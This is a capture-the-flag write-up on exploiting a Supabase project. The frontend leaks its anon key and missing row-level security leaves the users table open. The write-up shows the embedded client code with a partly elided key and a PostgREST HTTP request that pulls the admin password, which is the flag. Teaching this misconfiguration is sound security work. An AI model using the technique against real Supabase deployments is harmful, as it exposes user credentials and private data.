๐ฆ Challenge source
๐ Introduction
This challenge revolves around a misconfigured Supabase project combined with a frontend that leaks the anonymous API key. Because the users table is exposed via PostgREST and row-level security (RLS) was permissive/missing, an attacker can query the users table directly with the leaked anon key and extract the admin password (which is the flag).
Context Explanation
- Stack: Next.js app, Supabase backend (PostgreSQL + PostgREST).
- The frontend embeds the Supabase URL and anon key, then calls database tables directly from the browser.
- The challenge explicitly states: “I even put my anonymous key somewhere in the site. The password database is called, โusersโ.”
- Adminโs password is the flag; table name:
users.
Directive
- Locate the Supabase anon key in the client bundle.
- Confirm the
userstable is readable with the anon role. - Query the admin row and read the
passwordfield.
๐ ๏ธ Solution
1) Recon: Find the embedded Supabase client and anon key
Open the client bundle or look for a supabase.js in the app code. The project ships a file exactly like this:
// app/supabase.js
import { createClient } from '@supabase/supabase-js'
const supabaseUrl = 'https://dpyxnwiuwzahkxuxrojp.supabase.co'
const supabaseAnonKey = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.ey...cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI' // <โ exposed in frontend
export const supabase = createClient(supabaseUrl, supabaseAnonKey)
This is already a red flag: the anon key is present client-side (by design anon keys can be public), but it must be paired with strict RLS policies that prevent sensitive reads. Weโll test if users is exposed.
2) Understand how the app uses the table
The login/sign-up form talks directly to the users table:
// app/page.js (excerpt)
const { data: existing } = await supabase
.from("users")
.select("id")
.eq("username", username)
.maybeSingle()
// ... later on sign-up:
const { error: insertError } = await supabase.from("users").insert([
{ username, passw // ...
This shows a thin client directly hitting users via PostgREST. If RLS is misconfigured, we can query anything we want with just the anon key.
3) Direct API query via PostgREST
Supabase exposes PostgREST at /rest/v1. Using only the anon key in both Authorization: Bearer and apikey headers is enough if RLS allows it.
HTTP PoC (provided and reproduced):
GET /rest/v1/users?select=password&username=eq.admin HTTP/2
Host: dpyxnwiuwzahkxuxrojp.supabase.co
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc...4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI
Apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmF...4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI
Response:
[{"password":"ictf{why_d1d_1_g1v3_u_my_@p1_k3y???}"}]